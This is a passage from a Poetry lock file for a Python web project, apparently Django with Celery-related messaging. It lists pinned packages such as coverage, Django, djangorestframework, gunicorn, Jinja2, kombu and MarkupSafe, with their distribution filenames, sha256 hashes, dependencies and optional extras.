"sha256:4433b90fae13f86fafff0b326453dd42fc9a639a0d9e4eec4d366436d1a41b6d"}, {file = "coverage-6.5.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f4f05d88d9a80ad3cac6244d36dd89a3c00abc16371769f1340101d3cb899fc3"}, {file = "coverage-6.5.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:94e2565443291bd778421856bc975d351738963071e9b8839ca1fc08b42d4bef"}, {file = "coverage-6.5.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:027018943386e7b942fa832372ebc120155fd970837489896099f5cfa2890f79"}, {file = "coverage-6.5.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:255758a1e3b61db372ec2736c8e2a1fdfaf563977eedbdf131de003ca5779b7d"}, {file = "coverage-6.5.0-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:851cf4ff24062c6aec510a454b2584f6e998cada52d4cb58c5e233d07172e50c"}, {file = "coverage-6.5.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:12adf310e4aafddc58afdb04d686795f33f4d7a6fa67a7a9d4ce7d6ae24d949f"}, {file = "coverage-6.5.0-cp37-cp37m-win32.whl", hash = "sha256:b5604380f3415ba69de87a289a2b56687faa4fe04dbee0754bfcae433489316b"}, {file = "coverage-6.5.0-cp37-cp37m-win_amd64.whl", hash = "sha256:4a8dbc1f0fbb2ae3de73eb0bdbb914180c7abfbf258e90b311dcd4f585d44bd2"}, {file = "coverage-6.5.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:d900bb429fdfd7f511f868cedd03a6bbb142f3f9118c09b99ef8dc9bf9643c3c"}, {file = "coverage-6.5.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:2198ea6fc548de52adc826f62cb18554caedfb1d26548c1b7c88d8f7faa8f6ba"}, {file = "coverage-6.5.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6c4459b3de97b75e3bd6b7d4b7f0db13f17f504f3d13e2a7c623786289dd670e"}, {file = "coverage-6.5.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:20c8ac5386253717e5ccc827caad43ed66fea0efe255727b1053a8154d952398"}, {file = "coverage-6.5.0-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6b07130585d54fe8dff3d97b93b0e20290de974dc8177c320aeaf23459219c0b"}, {file = "coverage-6.5.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:dbdb91cd8c048c2b09eb17713b0c12a54fbd587d79adcebad543bc0cd9a3410b"}, {file = "coverage-6.5.0-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:de3001a203182842a4630e7b8d1a2c7c07ec1b45d3084a83d5d227a3806f530f"}, {file = "coverage-6.5.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:e07f4a4a9b41583d6eabec04f8b68076ab3cd44c20bd29332c6572dda36f372e"}, {file = "coverage-6.5.0-cp38-cp38-win32.whl", hash = "sha256:6d4817234349a80dbf03640cec6109cd90cba068330703fa65ddf56b60223a6d"}, {file = "coverage-6.5.0-cp38-cp38-win_amd64.whl", hash = "sha256:7ccf362abd726b0410bf8911c31fbf97f09f8f1061f8c1cf03dfc4b6372848f6"}, {file = "coverage-6.5.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:633713d70ad6bfc49b34ead4060531658dc6dfc9b3eb7d8a716d5873377ab745"}, {file = "coverage-6.5.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:95203854f974e07af96358c0b261f1048d8e1083f2de9b1c565e1be4a3a48cfc"}, {file = "coverage-6.5.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b9023e237f4c02ff739581ef35969c3739445fb059b060ca51771e69101efffe"}, {file = "coverage-6.5.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:265de0fa6778d07de30bcf4d9dc471c3dc4314a23a3c6603d356a3c9abc2dfcf"}, {file = "coverage-6.5.0-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8f830ed581b45b82451a40faabb89c84e1a998124ee4212d440e9c6cf70083e5"}, {file = "coverage-6.5.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:7b6be138d61e458e18d8e6ddcddd36dd96215edfe5f1168de0b1b32635839b62"}, {file = "coverage-6.5.0-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:42eafe6778551cf006a7c43153af1211c3aaab658d4d66fa5fcc021613d02518"}, {file = "coverage-6.5.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:723e8130d4ecc8f56e9a611e73b31219595baa3bb252d539206f7bbbab6ffc1f"}, {file = "coverage-6.5.0-cp39-cp39-win32.whl", hash = "sha256:d9ecf0829c6a62b9b573c7bb6d4dcd6ba8b6f80be9ba4fc7ed50bf4ac9aecd72"}, {file = "coverage-6.5.0-cp39-cp39-win_amd64.whl", hash = "sha256:fc2af30ed0d5ae0b1abdb4ebdce598eafd5b35397d4d75deb341a614d333d987"}, {file = "coverage-6.5.0-pp36.pp37.pp38-none-any.whl", hash = "sha256:1431986dac3923c5945271f169f59c45b8802a114c8f548d611f2015133df77a"}, {file = "coverage-6.5.0.tar.gz", hash = "sha256:f642e90754ee3e06b0e7e51bce3379590e76b7f76b708e1a71ff043f87025c84"}, ] [package.dependencies] tomli = {version = "*", optional = true, markers = "python_full_version <= \"3.11.0a6\" and extra == \"toml\""} [package.extras] toml = ["tomli"] [[package]] name = "distlib" version = "0.3.8" description = "Distribution utilities" optional = false python-versions = "*" files = [ {file = "distlib-0.3.8-py2.py3-none-any.whl", hash = "sha256:034db59a0b96f8ca18035f36290806a9a6e6bd9d1ff91e45a7f172eb17e51784"}, {file = "distlib-0.3.8.tar.gz", hash = "sha256:1530ea13e350031b6312d8580ddb6b27a104275a31106523b8f123787f494f64"}, ] [[package]] name = "django" version = "4.2.17" description = "A high-level Python web framework that encourages rapid development and clean, pragmatic design." optional = false python-versions = ">=3.8" files = [ {file = "Django-4.2.17-py3-none-any.whl", hash = "sha256:3a93350214ba25f178d4045c0786c61573e7dbfa3c509b3551374f1e11ba8de0"}, {file = "Django-4.2.17.tar.gz", hash = "sha256:6b56d834cc94c8b21a8f4e775064896be3b4a4ca387f2612d4406a5927cd2fdc"}, ] [package.dependencies] asgiref = ">=3.6.0,<4" "backports.zoneinfo" = {version = "*", markers = "python_version < \"3.9\""} sqlparse = ">=0.3.1" tzdata = {version = "*", markers = "sys_platform == \"win32\""} [package.extras] argon2 = ["argon2-cffi (>=19.1.0)"] bcrypt = ["bcrypt"] [[package]] name = "djangorestframework" version = "3.15.2" description = "Web APIs for Django, made easy." optional = false python-versions = ">=3.8" files = [ {file = "djangorestframework-3.15.2-py3-none-any.whl", hash = "sha256:2b8871b062ba1aefc2de01f773875441a961fefbf79f5eed1e32b2f096944b20"}, {file = "djangorestframework-3.15.2.tar.gz", hash = "sha256:36fe88cd2d6c6bec23dca9804bab2ba5517a8bb9d8f47ebc68981b56840107ad"}, ] [package.dependencies] "backports.zoneinfo" = {version = "*", markers = "python_version < \"3.9\""} django = ">=4.2" [[package]] name = "docutils" version = "0.17.1" description = "Docutils -- Python Documentation Utilities" optional = false python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" files = [ {file = "docutils-0.17.1-py2.py3-none-any.whl", hash = "sha256:cf316c8370a737a022b72b56874f6602acf974a37a9fba42ec2876387549fc61"}, {file = "docutils-0.17.1.tar.gz", hash = "sha256:686577d2e4c32380bb50cbb22f575ed742d58168cee37e99117a854bcd88f125"}, ] [[package]] name = "exceptiongroup" version = "1.2.2" description = "Backport of PEP 654 (exception groups)" optional = false python-versions = ">=3.7" files = [ {file = "exceptiongroup-1.2.2-py3-none-any.whl", hash = "sha256:3111b9d131c238bec2f8f516e123e14ba243563fb135d3fe885990585aa7795b"}, {file = "exceptiongroup-1.2.2.tar.gz", hash = "sha256:47c2edf7c6738fafb49fd34290706d1a1a2f4d1c6df275526b62cbb4aa5393cc"}, ] [package.extras] test = ["pytest (>=6)"] [[package]] name = "filelock" version = "3.15.4" description = "A platform independent file lock." optional = false python-versions = ">=3.8" files = [ {file = "filelock-3.15.4-py3-none-any.whl", hash = "sha256:6ca1fffae96225dab4c6eaf1c4f4f28cd2568d3ec2a44e15a08520504de468e7"}, {file = "filelock-3.15.4.tar.gz", hash = "sha256:2207938cbc1844345cb01a5a95524dae30f0ce089eba5b00378295a17e3e90cb"}, ] [package.extras] docs = ["furo (>=2023.9.10)", "sphinx (>=7.2.6)", "sphinx-autodoc-typehints (>=1.25.2)"] testing = ["covdefaults (>=2.3)", "coverage (>=7.3.2)", "diff-cover (>=8.0.1)", "pytest (>=7.4.3)", "pytest-asyncio (>=0.21)", "pytest-cov (>=4.1)", "pytest-mock (>=3.12)", "pytest-timeout (>=2.2)", "virtualenv (>=20.26.2)"] typing = ["typing-extensions (>=4.8)"] [[package]] name = "gunicorn" version = "23.0.0" description = "WSGI HTTP Server for UNIX" optional = false python-versions = ">=3.7" files = [ {file = "gunicorn-23.0.0-py3-none-any.whl", hash = "sha256:ec400d38950de4dfd418cff8328b2c8faed0edb0d517d3394e457c317908ca4d"}, {file = "gunicorn-23.0.0.tar.gz", hash = "sha256:f014447a0101dc57e294f6c18ca6b40227a4c90e9bdb586042628030cba004ec"}, ] [package.dependencies] packaging = "*" [package.extras] eventlet = ["eventlet (>=0.24.1,!=0.36.0)"] gevent = ["gevent (>=1.4.0)"] setproctitle = ["setproctitle"] testing = ["coverage", "eventlet", "gevent", "pytest", "pytest-cov"] tornado = ["tornado (>=0.2)"] [[package]] name = "h11" version = "0.14.0" description = "A pure-Python, bring-your-own-I/O implementation of HTTP/1.1" optional = false python-versions = ">=3.7" files = [ {file = "h11-0.14.0-py3-none-any.whl", hash = "sha256:e3fe4ac4b851c468cc8363d500db52c2ead036020723024a109d37346efaa761"}, {file = "h11-0.14.0.tar.gz", hash = "sha256:8f19fbbe99e72420ff35c00b27a34cb9937e902a8b810e2c88300c6f0a3b699d"}, ] [[package]] name = "identify" version = "2.6.0" description = "File identification library for Python" optional = false python-versions = ">=3.8" files = [ {file = "identify-2.6.0-py2.py3-none-any.whl", hash = "sha256:e79ae4406387a9d300332b5fd366d8994f1525e8414984e1a59e058b2eda2dd0"}, {file = "identify-2.6.0.tar.gz", hash = "sha256:cb171c685bdc31bcc4c1734698736a7d5b6c8bf2e0c15117f4d469c8640ae5cf"}, ] [package.extras] license = ["ukkonen"] [[package]] name = "idna" version = "3.8" description = "Internationalized Domain Names in Applications (IDNA)" optional = false python-versions = ">=3.6" files = [ {file = "idna-3.8-py3-none-any.whl", hash = "sha256:050b4e5baadcd44d760cedbd2b8e639f2ff89bbc7a5730fcc662954303377aac"}, {file = "idna-3.8.tar.gz", hash = "sha256:d838c2c0ed6fced7693d5e8ab8e734d5f8fda53a039c0164afb0b82e771e3603"}, ] [[package]] name = "imagesize" version = "1.4.1" description = "Getting image size from png/jpeg/jpeg2000/gif file" optional = false python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" files = [ {file = "imagesize-1.4.1-py2.py3-none-any.whl", hash = "sha256:0d8d18d08f840c19d0ee7ca1fd82490fdc3729b7ac93f49870406ddde8ef8d8b"}, {file = "imagesize-1.4.1.tar.gz", hash = "sha256:69150444affb9cb0d5cc5a92b3676f0b2fb7cd9ae39e947a5e11a36b4497cd4a"}, ] [[package]] name = "iniconfig" version = "2.0.0" description = "brain-dead simple config-ini parsing" optional = false python-versions = ">=3.7" files = [ {file = "iniconfig-2.0.0-py3-none-any.whl", hash = "sha256:b6a85871a79d2e3b22d2d1b94ac2824226a63c6b741c88f7ae975f18b6778374"}, {file = "iniconfig-2.0.0.tar.gz", hash = "sha256:2d91e135bf72d31a410b17c16da610a82cb55f6b0477d1a902134b24a455b8b3"}, ] [[package]] name = "jinja2" version = "3.1.5" description = "A very fast and expressive template engine." optional = false python-versions = ">=3.7" files = [ {file = "jinja2-3.1.5-py3-none-any.whl", hash = "sha256:aba0f4dc9ed8013c424088f68a5c226f7d6097ed89b246d7749c2ec4175c6adb"}, {file = "jinja2-3.1.5.tar.gz", hash = "sha256:8fefff8dc3034e27bb80d67c671eb8a9bc424c0ef4c0826edbff304cceff43bb"}, ] [package.dependencies] MarkupSafe = ">=2.0" [package.extras] i18n = ["Babel (>=2.7)"] [[package]] name = "kombu" version = "5.4.0" description = "Messaging library for Python." optional = false python-versions = ">=3.8" files = [ {file = "kombu-5.4.0-py3-none-any.whl", hash = "sha256:c8dd99820467610b4febbc7a9e8a0d3d7da2d35116b67184418b51cc520ea6b6"}, {file = "kombu-5.4.0.tar.gz", hash = "sha256:ad200a8dbdaaa2bbc5f26d2ee7d707d9a1fded353a0f4bd751ce8c7d9f449c60"}, ] [package.dependencies] amqp = ">=5.1.1,<6.0.0" "backports.zoneinfo" = {version = ">=0.2.1", extras = ["tzdata"], markers = "python_version < \"3.9\""} typing-extensions = {version = "4.12.2", markers = "python_version < \"3.10\""} vine = "5.1.0" [package.extras] azureservicebus = ["azure-servicebus (>=7.10.0)"] azurestoragequeues = ["azure-identity (>=1.12.0)", "azure-storage-queue (>=12.6.0)"] confluentkafka = ["confluent-kafka (>=2.2.0)"] consul = ["python-consul2 (==0.1.5)"] librabbitmq = ["librabbitmq (>=2.0.0)"] mongodb = ["pymongo (>=4.1.1)"] msgpack = ["msgpack (==1.0.8)"] pyro = ["pyro4 (==4.82)"] qpid = ["qpid-python (>=0.26)", "qpid-tools (>=0.26)"] redis = ["redis (>=4.5.2,!=4.5.5,!=5.0.2)"] slmq = ["softlayer-messaging (>=1.0.3)"] sqlalchemy = ["sqlalchemy (>=1.4.48,<2.1)"] sqs = ["boto3 (>=1.26.143)", "pycurl (>=7.43.0.5)", "urllib3 (>=1.26.16)"] yaml = ["PyYAML (>=3.10)"] zookeeper = ["kazoo (>=2.8.0)"] [[package]] name = "markupsafe" version = "2.1.5" description = "Safely add untrusted strings to HTML/XML markup." optional = false python-versions = ">=3.7" files = [ {file = "MarkupSafe-2.1.5-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:a17a92de5231666cfbe003f0e4b9b3a7ae3afb1ec2845aadc2bacc93ff85febc"}, {file = "MarkupSafe-2.1.5-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:72b6be590cc35924b02c78ef34b467da4ba07e4e0f0454a2c5907f473fc50ce5"}, {file = "MarkupSafe-2.1.5-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e61659ba32cf2cf1481e575d0462554625196a1f2fc06a1c777d3f48e8865d46"}, {file = "MarkupSafe-2.1.5-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2174c595a0d73a3080ca3257b40096db99799265e1c27cc5a610743acd86d62f"}, {file = "MarkupSafe-2.1.5-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ae2ad8ae6ebee9d2d94b17fb62763125f3f374c25618198f40cbb8b525411900"}, {file = "MarkupSafe-2.1.5-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:075202fa5b72c86ad32dc7d0b56024ebdbcf2048c0ba09f1cde31bfdd57bcfff"}, {file = "MarkupSafe-2.1.5-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:598e3276b64aff0e7b3451b72e94fa3c238d452e7ddcd893c3ab324717456bad"}, {file = "MarkupSafe-2.1.5-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:fce659a462a1be54d2ffcacea5e3ba2d74daa74f30f5f143fe0c58636e355fdd"}, {file = "MarkupSafe-2.1.5-cp310-cp310-win32.whl", hash = "sha256:d9fad5155d72433c921b782e58892377c44bd6252b5af2f67f16b194987338a4"}, {file = "MarkupSafe-2.1.5-cp310-cp310-win_amd64.whl", hash = "sha256:bf50cd79a75d181c9181df03572cdce0fbb75cc353bc350712073108cba98de5"}, {file = "MarkupSafe-2.1.5-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:629ddd2ca402ae6dbedfceeba9c46d5f7b2a61d9749597d4307f943ef198fc1f"}, {file = "MarkupSafe-2.1.5-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:5b7b716f97b52c5a14bffdf688f971b2d5ef4029127f1ad7a513973cfd818df2"}, {file = "MarkupSafe-2.1.5-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6ec585f69cec0aa07d945b20805be741395e28ac1627333b1c5b0105962ffced"}, {file = "MarkupSafe-2.1.5-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b91c037585eba9095565a3556f611e3cbfaa42ca1e865f7b8015fe5c7336d5a5"}, {file = "MarkupSafe-2.1.5-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7502934a33b54030eaf1194c21c692a534196063db72176b0c4028e140f8f32c"}, {file = "MarkupSafe-2.1.5-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:0e397ac966fdf721b2c528cf028494e86172b4feba51d65f81ffd65c63798f3f"}, {file = "MarkupSafe-2.1.5-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:c061bb86a71b42465156a3ee7bd58c8c2ceacdbeb95d05a99893e08b8467359a"}, {file = "MarkupSafe-2.1.5-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:3a57fdd7ce31c7ff06cdfbf31dafa96cc533c21e443d57f5b1ecc6cdc668ec7f"}, {file = "MarkupSafe-2.1.5-cp311-cp311-win32.whl", hash = "sha256:397081c1a0bfb5124355710fe79478cdbeb39626492b15d399526ae53422b906"}, {file = "MarkupSafe-2.1.5-cp311-cp311-win_amd64.whl", hash = "sha256:2b7c57a4dfc4f16f7142221afe5ba4e093e09e728ca65c51f5620c9aaeb9a617"}, {file = "MarkupSafe-2.1.5-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:8dec4936e9c3100156f8a2dc89c4b88d5c435175ff03413b443469c7c8c5f4d1"}, {file = "MarkupSafe-2.1.5-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:3c6b973f22eb18a789b1460b4b91bf04ae3f0c4234a0a6aa6b0a92f6f7b951d4"}, {file = "MarkupSafe-2.1.5-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ac07bad82163452a6884fe8fa0963fb98c2346ba78d779ec06bd7a6262132aee"}, {file = "MarkupSafe-2.1.5-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f5dfb42c4604dddc8e4305050aa6deb084540643ed5804d7455b5df8fe16f5e5"}, {file = "MarkupSafe-2.1.5-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ea3d8a3d18833cf4304cd2fc9cbb1efe188ca9b5efef2bdac7adc20594a0e46b"}, {file = "MarkupSafe-2.1.5-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:d050b3361367a06d752db6ead6e7edeb0009be66bc3bae0ee9d97fb326badc2a"}, {file = "MarkupSafe-2.1.5-cp312-cp312-musllinux_1_1_i686.whl", hash = "sha256:bec0a414d016ac1a18862a519e54b2fd0fc8bbfd6890376898a6c0891dd82e9f"}, {file = "MarkupSafe-2.1.5-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:58c98fee265677f63a4385256a6d7683ab1832f3ddd1e66fe948d5880c21a169"}, {file = "MarkupSafe-2.1.5-cp312-cp312-win32.whl", hash = "sha256:8590b4ae07a35970728874632fed7bd57b26b0102df2d2b233b6d9d82f6c62ad"}, {file = "MarkupSafe-2.1.5-cp312-cp312-win_amd64.whl", hash = "sha256:823b65d8706e32ad2df51ed89496147a42a2a6e01c13cfb6ffb8b1e92bc910bb"}, {file = "MarkupSafe-2.1.5-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:c8b29db45f8fe46ad280a7294f5c3ec36dbac9491f2d1c17345be8e69cc5928f"}, {file = "MarkupSafe-2.1.5-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ec6a563cff360b50eed26f13adc43e61bc0c04d94b8be985e6fb24b81f6dcfdf"}, {file = "MarkupSafe-2.1.5-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a549b9c31bec33820e885335b451286e2969a2d9e24879f83fe904a5ce59d70a"}, {file = "MarkupSafe-2.1.5-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4f11aa001c540f62c6166c7726f71f7573b52c68c31f014c25cc7901deea0b52"}, {file = "MarkupSafe-2.1.5-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:7b2e5a267c855eea6b4283940daa6e88a285f5f2a67f2220203786dfa59b37e9"}, {file = "MarkupSafe-2.1.5-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:2d2d793e36e230fd32babe143b04cec8a8b3eb8a3122d2aceb4a371e6b09b8df"}, {file = "MarkupSafe-2.1.5-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:ce409136744f6521e39fd8e2a24c53fa18ad67aa5bc7c2cf83645cce5b5c4e50"}, {file = "MarkupSafe-2.1.5-cp37-cp37m-win32.whl", hash = "sha256:4096e9de5c6fdf43fb4f04c26fb114f61ef0bf2e5604b6ee3019d51b69e8c371"}, {file = "MarkupSafe-2.1.5-cp37-cp37m-win_amd64.whl", hash = "sha256:4275d846e41ecefa46e2015117a9f491e57a71ddd59bbead77e904dc02b1bed2"}, {file = "MarkupSafe-2.1.5-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:656f7526c69fac7f600bd1f400991cc282b417d17539a1b228617081106feb4a"}, {file = "MarkupSafe-2.1.5-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:97cafb1f3cbcd3fd2b6fbfb99ae11cdb14deea0736fc2b0952ee177f2b813a46"}, {file = "MarkupSafe-2.1.5-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1f3fbcb7ef1f16e48246f704ab79d79da8a46891e2da03f8783a5b6fa41a9532"}, {file = "MarkupSafe-2.1.5-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fa9db3f79de01457b03d4f01b34cf91bc0048eb2c3846ff26f66687c2f6d16ab"}, {file = "MarkupSafe-2.1.5-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ffee1f21e5ef0d712f9033568f8344d5da8cc2869dbd08d87c84656e6a2d2f68"}, {file = "MarkupSafe-2.1.5-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:5dedb4db619ba5a2787a94d877bc8ffc0566f92a01c0ef214865e54ecc9ee5e0"}, {file = "MarkupSafe-2.1.5-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:30b600cf0a7ac9234b2638fbc0fb6158ba5bdcdf46aeb631ead21248b9affbc4"}, {file = "MarkupSafe-2.1.5-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:8dd717634f5a044f860435c1d8c16a270ddf0ef8588d4887037c5028b859b0c3"}, {file = "MarkupSafe-2.1.5-cp38-cp38-win32.whl", hash = "sha256:daa4ee5a243f0f20d528d939d06670a298dd39b1ad5f8a72a4275124a7819eff"}, {file = "MarkupSafe-2.1.5-cp38-cp38-win_amd64.whl", hash = "sha256:619bc166c4f2de5caa5a633b8b7326fbe98e0ccbfacabd87268a2b15ff73a029"}, {file = "MarkupSafe-2.1.5-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:7a68b554d356a91cce1236aa7682dc01df0edba8d043fd1ce607c49dd3c1edcf"}, {file = "MarkupSafe-2.1.5-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:db0b55e0f3cc0be60c1f19efdde9a637c32740486004f20d1cff53c3c0ece4d2"}, {file = "MarkupSafe-2.1.5-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3e53af139f8579a6d5f7b76549125f0d94d7e630761a2111bc431fd820e163b8"}, {file = "MarkupSafe-2.1.5-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:17b950fccb810b3293638215058e432159d2b71005c74371d784862b7e4683f3"}, {file = "MarkupSafe-2.1.5-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4c31f53cdae6ecfa91a77820e8b151dba54ab528ba65dfd235c80b086d68a465"}, {file = "MarkupSafe-2.1.5-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:bff1b4290a66b490a2f4719358c0cdcd9bafb6b8f061e45c7a2460866bf50c2e"}, {file = "MarkupSafe-2.1.5-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:bc1667f8b83f48511b94671e0e441401371dfd0f0a795c7daa4a3cd1dde55bea"}, {file = "MarkupSafe-2.1.5-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:5049256f536511ee3f7e1b3f87d1d1209d327e818e6ae1365e8653d7e3abb6a6"}, {file = "MarkupSafe-2.1.5-cp39-cp39-win32.whl", hash = "sha256:00e046b6dd71aa03a41079792f8473dc494d564611a8f89bbbd7cb93295ebdcf"}, {file = "MarkupSafe-2.1.5-cp39-cp39-win_amd64.whl", hash = "sha256:fa173ec60341d6bb97a89f5ea19c85c5643c1e7dedebc22f5181eb73573142c5"}, {file = "MarkupSafe-2.1.5.tar.gz", hash = "sha256:d283d37a890ba4c1ae73ffadf8046435c76e7bc2247bbb63c00bd1a709c6544b"}, ] [[package]] name = "nodeenv" version = "1.9.1" description = "Node.js virtual environment builder" optional = false python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7" files = [ {file = "nodeenv-1.9.1-py2.py3-none-any.whl", hash = "sha256:ba11c9782d29c27c70ffbdda2d7415098754709be8a7056d79a737cd901155c9"}, {file = "nodeenv-1.9.1.tar.gz", hash = "sha256:6ec12890a2dab7946721edbfbcd91f3319c6ccc9aec47be7c7e6b7011ee6645f"}, ] [[package]] name = "packaging" version = "24.1" description = "Core utilities for Python packages" optional = false python-versions = ">=3.8" files = [ {file = "packaging-24.1-py3-none-any.whl", hash = "sha256:5b8f2217dbdbd2f7f384c41c628544e6d52f2d0f53c6d0c3ea61aa5d1d7ff124"}, {file = "packaging-24.1.tar.gz", hash = "sha256:026ed72c8ed3fcce5bf8950572258698927fd1dbda10a5e981cdf0ac37f4f002"}, ] [[package]] name = "platformdirs" version = "4.2.2" description = "A small Python package for determining appropriate platform-specific dirs, e.g. a `user data dir`." optional = false python-versions = ">=3.8" files = [ {file = "platformdirs-4.2.2-py3-none-any.whl", hash = "sha256:2d7a1657e36a80ea911db832a8a6ece5ee53d8de21edd5cc5879af6530b1bfee"}, {file = "platformdirs-4.2.2.tar.gz", hash = "sha256:38b7b51f512eed9e84a22788b4bce1de17c0adb134d6becb09836e37d8654cd3"}, ] [package.extras] docs = ["furo (>=2023.9.10)", "proselint (>=0.13)", "sphinx (>=7.2.6)", "sphinx-autodoc-typehints (>=1.25.2)"] test = ["appdirs (==1.4.4)", "covdefaults (>=2.3)", "pytest (>=7.4.3)", "pytest-cov (>=4.1)", "pytest-mock (>=3.12)"] type = ["mypy (>=1.8)"] [[package]] name = "pluggy" version = "1.5.0" description = "plugin and hook calling mechanisms for python" optional = false python-versions = ">=3.8" files = [ {file = "pluggy-1.5.0-py3-none-any.whl", hash = "sha256:44e1ad92c8ca002de6377e165f3e0f1be63266ab4d554740532335b9d75ea669"}, {file = "pluggy-1.5.0.tar.gz", hash = "sha256:2cffa88e94fdc978c4c574f15f9e59b7f4201d439195c3715ca9e2486f1d0cf1"}, ] [package.extras] dev = ["pre-commit", "tox"] testing = ["pytest", "pytest-benchmark"] [[package]] name = "pre-commit" version = "2.21.0" description = "A framework for managing and maintaining multi-language pre-commit hooks." optional = false python-versions = ">=3.7" files = [ {file = "pre_commit-2.21.0-py2.py3-none-any.whl", hash = "sha256:e2f91727039fc39a92f58a588a25b87f936de6567eed4f0e673e0507edc75bad"}, {file = "pre_commit-2.21.0.tar.gz", hash = "sha256:31ef31af7e474a8d8995027fefdfcf509b5c913ff31f2015b4ec4beb26a6f658"}, ] [package.dependencies] cfgv = ">=2.0.0" identify = ">=1.0.0" nodeenv = ">=0.11.1" pyyaml = ">=5.1" virtualenv = ">=20.10.0" [[package]] name = "prompt-toolkit" version = "3.0.47" description = "Library for building powerful interactive command lines in Python" optional = false python-versions = ">=3.7.0" files = [ {file = "prompt_toolkit-3.0.47-py3-none-any.whl", hash = "sha256:0d7bfa67001d5e39d02c224b663abc33687405033a8c422d0d675a5a13361d10"}, {file = "prompt_toolkit-3.0.47.tar.gz", hash = 